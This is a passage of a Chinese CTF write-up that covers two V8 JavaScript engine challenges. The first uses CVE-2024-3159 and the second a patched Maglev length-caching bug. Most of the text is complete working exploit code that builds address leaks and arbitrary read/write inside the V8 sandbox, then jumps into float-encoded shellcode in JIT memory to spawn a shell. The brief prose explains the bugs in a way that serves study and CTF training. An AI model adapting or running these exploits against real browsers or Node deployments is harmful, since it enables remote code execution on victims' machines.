md5加密后即可得到flag

flag{0e327444a0ef9a1819c341f396d97b18}

漏洞挖掘赛

vvvvvvvv

CVE-2024-3159,目前该漏洞报告并没有公开,但是仍然能够找到相关 poc:https://docs.google.com/document/d/1ke0S2NrhPIo7VX2zpEKyMVURVOk-v22mNvAovlL6EeM/edit#heading=h.ksz9twl4bvwr

const object1 = {};
object1.a = 1;

const object2 = {};
object2.a = 1;
object2.b = 1;

const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
Object.defineProperty(object3, "d", {writable: false, enumerable: true, value: 1});

// create a split branch in map transition tree
const object4 = {};
object4.a = 1;
object4.b = 1;
object4.c = 1;
object4.d = 1;

for (let key in object3) { }

delete object3.d;

let escape;
function trigger(callback) {
  for (let key in object2) {
  	callback();
  	escape = object2[key];
  }
}

%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);

trigger(_ => {
    object4.c = 1.1;
    for (let key in object1) { }
});

// %SystemBreak();

有了poc后写利用就比较简单,这里的漏洞效果为任意地址对象伪造,符合我之前总结的利用模板https://bbs.kanxue.com/thread-281180.htm,所以直接套模板即可构造沙箱内的任意地址读写,最后利用立即数shellcode获取shell

var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;

function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}

function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}


function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}

function set_u64(val) {
        u64[0] = val;
}

function set_l(l) {
        u32[0] = l;
}

function set_h(h) {
        u32[1] = h;
}

function get_l() {
        return u32[0];
}

function get_h() {
        return u32[1];
}

function get_u64() {
        return u64[0];
}

function get_f64() {
        return f64[0];
}

function get_fl(val) {
        f64[0] = val;
        return u32[0];
}

function get_fh(val) {
        f64[0] = val;
        return u32[1];
}

function add_ref(obj) {
        roots[index++] = obj;
}

function major_gc() {
        new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
        for (let i = 0; i < 8; i++) {
                add_ref(new ArrayBuffer(0x200000));
        }
        add_ref(new ArrayBuffer(8));
}

function hexx(str, val) {
        console.log(str+": 0x"+val.toString(16));
}

function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}

function shellcode() {
        return [
                1.9553825422107533e-246,
                1.9560612558242147e-246,
                1.9995714719542577e-246,
                1.9533767332674093e-246,
                2.6348604765229606e-284
        ];
}

for (let i = 0; i < 0x10000; i++) {
    shellcode();
    shellcode();
    shellcode();
    shellcode();
}

var spray_array = Array(0xf700);
var data_start_addr = 0x00502139+7;
var map_addr = data_start_addr + 0x1000;
var fake_object_addr = map_addr + 0x1000;
//0x2f040404001c3d21      0x0a0007ff11000842
spray_array[(map_addr-data_start_addr) / 8] = u64_to_f64(0x2f040404001c3d21n);
//spray_array[(map_addr-data_start_addr) / 8] = pair_u32_to_f64(data_start_addr+0x200, 0x2d040404);
spray_array[(map_addr-data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6f5);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(data_start_addr-1, 0x20);

var leak_object_array = new Array(0xf700).fill({});
var leak_object_element_addr = 0x00582139;

//console.log("go")
//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);
//readline();

const object1 = {};
object1.a = 1;

const object2 = {};
object2.a = 2;
object2.b = 2;

//const N = pair_u32_to_f64(0x42424242, 0x42424242);
const N = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
var fake_object_array = [
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
];

const object3 = {};
object3.a = 3;
object3.b = 3;
object3.c = 3;
object3.d = 3;

const object4 = {};
object4.a = 4;
object4.b = 4;
object4.c = 4;
object4.e = 4;

let fake_array;
for (let key in object2) {}
function trigger(callback) {
        for (let key in object2) {
                callback();
                fake_array = object2[key];
        }
}

//%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
//%OptimizeFunctionOnNextCall(trigger);
trigger(_ => _);
for (let i = 0; i < 0x10000; i++) {
        trigger(_ => _);
        trigger(_ => _);
        trigger(_ => _);
}
//%DebugPrint(object4);
//readline();
trigger(_ => {
//      print("callback");
        object4.c = 1.1;
        for (let key in object1) { }
//      %DebugPrint(object2);
//      readline();
});

//print(fake_array === %TheHole());
//%DebugPrint(fake_array);

function addressOf(obj) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_object_element_addr, 0x20);
        leak_object_array[0] = obj;
        f64[0] = fake_array[0];
        return u32[0];
}

var test = [1.1];
hexx("test address", addressOf(test));
//%DebugPrint(test);


function arb_read_cage(addr) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
        return f64_to_u64(fake_array[0]);
}

function arb_write_half_cage(addr, val) {
        let orig_val = arb_read_cage(addr);
        fake_array[0] = pair_u32_to_f64(orig_val&0xffffffff, val);
}

function arb_write_full_cage(addr, val) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
        fake_array[0] = u64_to_f64(val);
}

var shellcode_addr = addressOf(shellcode);
hexx("shellcode_addr", shellcode_addr);
var code = arb_read_cage(shellcode_addr+0x8+0x4);
hexx("code", code);
var c = u32[0]+0x10+4;
var rwx_addr = arb_read_cage(c);
hexx("rwx_addr", rwx_addr);
arb_write_full_cage(c, rwx_addr+0x57n);
//%DebugPrint(shellcode);
shellcode();

optimizer

关键点:

@@ -7085,7 +7093,7 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePush(
     sub_graph.Bind(&*do_return);
   }
   RecordKnownProperty(receiver, broker()->length_string(), new_array_length_smi,
-                      false, compiler::AccessMode::kStore);
+                      false, compiler::AccessMode::kLoad);
   return new_array_length_smi;
 }
 
@@ -7258,7 +7266,7 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePop(
   sub_graph.Bind(&*do_return);
   RecordKnownProperty(receiver, broker()->length_string(),
                       sub_graph.get(var_new_array_length), false,
-                      compiler::AccessMode::kStore);
+                      compiler::AccessMode::kLoad);
   return sub_graph.get(var_value);
 }

跟踪源码可以发现当以kStroe模式访问”length”属性时,该对象缓存的的”length”将被clear:

inline bool IsAnyStore(AccessMode mode) {
  return mode == AccessMode::kStore || mode == AccessMode::kStoreInLiteral ||
         mode == AccessMode::kDefine;
}

void MaglevGraphBuilder::RecordKnownProperty(
    ValueNode* lookup_start_object, KnownNodeAspects::LoadedPropertyMapKey key,
    ValueNode* value, bool is_const, compiler::AccessMode access_mode) {
......
  // Try to get loaded_properties[key] if it already exists, otherwise
  // construct loaded_properties[key] = ZoneMap{zone()}.
  auto& props_for_key =
      loaded_properties.try_emplace(key, zone()).first->second;

  if (!is_const && IsAnyStore(access_mode)) { <============================================CHECK
    // We don't do any aliasing analysis, so stores clobber all other cached
    // loads of a property with that key. We only need to do this for
    // non-constant properties, since constant properties are known not to
    // change and therefore can't be clobbered.
    // TODO(leszeks): Do some light aliasing analysis here, e.g. checking
    // whether there's an intersection of known maps.
    if (v8_flags.trace_maglev_graph_building) {
      std::cout << "  * Removing all non-constant cached ";
      switch (key.type()) {
        case KnownNodeAspects::LoadedPropertyMapKey::kName:
          std::cout << "properties with name " << *key.name().object();
          break;
        case KnownNodeAspects::LoadedPropertyMapKey::kElements:
          std::cout << "Elements";
          break;
        case KnownNodeAspects::LoadedPropertyMapKey::kTypedArrayLength:
          std::cout << "TypedArray length"; <============================================LENGTH
          break;
      }
      std::cout << std::endl;
    }
    props_for_key.clear(); <===========================================================CLEAR
  }
......
    std::cout << "] = " << PrintNodeLabel(graph_labeller(), value) << ": "
              << PrintNode(graph_labeller(), value) << std::endl;
  }

  props_for_key[lookup_start_object] = value;
}

而patch中将kStore替换成 了kLoad,则导致缓存中的值不会失效,其值会在每次push时增长,这对于对象的引用为1是不存在问题的。但是如果有多个参数指向同一个对象(也就是上述代码注释中的alias),则会导致”length”增长不同步。比如变量A、B引用同一个对象object,对于push操作,此时”cached length”的更新只考虑A.push,但是并不考虑B.push,此时数组的长度以两倍的速度增长,但是编译器却认为其只以一倍的速度增长,所以此时的element数组的大小会比实际的数组长度小从而导致越界读写

有了越界读写了,就可以直接构造沙箱内的任意地址读写了,然后还是利用立即数shellcode获取shell,这里x.push/y.push的次数可以自行多次尝试去寻找一个合适的次数:

var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;

function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}

function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}


function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}

function set_u64(val) {
        u64[0] = val;
}

function set_l(l) {
        u32[0] = l;
}

function set_h(h) {
        u32[1] = h;
}

function get_l() {
        return u32[0];
}

function get_h() {
        return u32[1];
}

function get_u64() {
        return u64[0];
}

function get_f64() {
        return f64[0];
}

function get_fl(val) {
        f64[0] = val;
        return u32[0];
}

function get_fh(val) {
        f64[0] = val;
        return u32[1];
}

function add_ref(obj) {
        roots[index++] = obj;
}

function major_gc() {
        new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
        for (let i = 0; i < 8; i++) {
                add_ref(new ArrayBuffer(0x200000));
        }
        add_ref(new ArrayBuffer(8));
}

function hexx(str, val) {
        console.log(str+": 0x"+val.toString(16));
}

function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}

function de() {
    while (true) {}
}

function shellcode() {
        return [
                1.9553825422107533e-246,
                1.9560612558242147e-246,
                1.9995714719542577e-246,
                1.9533767332674093e-246,
                2.6348604765229606e-284
        ];
}


for (let i = 0; i < 0x5000; i++) {
    shellcode(); shellcode();
    shellcode(); shellcode();
    shellcode(); shellcode();
    shellcode(); shellcode();
}

function func(x, y) {
    x.push(1.1);
    y.push(1.1);
    x.push(1.1);
    y.push(1.1);
    x.push(1.1);
    y.push(1.1);
    x.push(1.1);
    y.push(1.1);
    x.push(1.1);
    y.push(1.1);
    x.push(1.1);
    y.push(1.1);
    x.push(1.1);
    y.push(1.1);
    x.push(1.1);
    y.push(1.1);
    x.push(1.1);
    y.push(1.1);
    x.push(1.1);
    y.push(1.1);
}

var spray_array = new Array(0xf700).fill({});
var spray_array2 = new Array(0xf700).fill({});
var spray_array3 = new Array(0xf700).fill({});
var spray_array4 = new Array(0xf700).fill({});
var element_start_addr = 0x00580011;
var data_element_start_addr = element_start_addr + 7;
var fake_object_addr = data_element_start_addr + 0x1000;
var save_fake_object_addr = fake_object_addr + 0x200;
minor_gc();
major_gc();
major_gc();

var a = null;
for (let i = 0; i < 0x1000; i++) {
    a = [1.1, 2.2];
//	%PrepareFunctionForOptimization(func);
    func(a, a);
//	%OptimizeMaglevOnNextCall(func);
}

var victim_array = new Array(2).fill(1.1);
var addressOf_arr = [0x290098a, victim_array];
var rw_arr = [1.8457939563e-314, 1.8457939563e-314, 1.1, 2.2];

//for (let i = 0; i < a.length; i++) {
//	hexx("[====== dump ======]", f64_to_u64(a[i]));	
//}

var len_and_element = f64_to_u64(a[a.length-1]);
hexx("len_and_element", len_and_element);
a[a.length-1] = pair_u32_to_f64(u32[0], 0x1ee00);
//%DebugPrint(a);
//%DebugPrint(victim_array);
var addressOf_offset = -1;
for (let i = 0; i < 0x100; i++) {
    f64_to_u64(victim_array[i]);
    if (u32[0] == 0x5201314 && u32[1] != 0) {
        addressOf_offset = i;
    //	hexx("address", u64[0]);
        break;
    }
}

var rw_offset = 15;
/*
var flag = 0;
var check = 0xdeadbeefn;
for (let i = 0; i < 0x100; i++) {
    f64_to_u64(victim_array[i]);
    hexx("[====== dump ======]", u64[0]);	
    if (u64[0] == check) {
        f64_to_u64(victim_array[i+1]);
        hexx("[====== dump ======]", u64[0]);	
        if (u64[0] == check) {
            rw_offset = i-2;
            if (flag == 1) {
                break;
            }
            flag = 1;
        }
    }
}
*/
//print(u64_to_f64(0xdeadbeefn));

//%DebugPrint(victim_array);
//%DebugPrint(rw_arr);
hexx("rw_offset", rw_offset);
hexx("addressOf_offset", addressOf_offset);
hexx("check", f64_to_u64(victim_array[rw_offset]));
print(victim_array[rw_offset+1]);

function addressOf(obj) {
    addressOf_arr[1] = obj;
    f64_to_u64(victim_array[addressOf_offset]);
    return u32[1];
}

function read_cage(addr) {
    victim_array[rw_offset] = pair_u32_to_f64(addr-8, 0x20);;
    return f64_to_u64(rw_arr[0]);
}

function write_cage(addr, val) {
    victim_array[rw_offset] = pair_u32_to_f64(addr-8, 0x20);;
    rw_arr[0] = u64_to_f64(val);	
}

//hexx("victim_array", f64_to_u64(victim_array[addressOf_offset]));
hexx("victim_array", addressOf(victim_array));

var shellcode_addr = addressOf(shellcode);
hexx("shellcode_addr", shellcode_addr);
var code = read_cage(shellcode_addr+0x8+0x4);
hexx("code", code);
var c = u32[0]+0x10+4;
var rwx_addr = read_cage(c);
hexx("rwx_addr", rwx_addr);
write_cage(c, rwx_addr+0x53n);
//%DebugPrint(shellcode);
shellcode();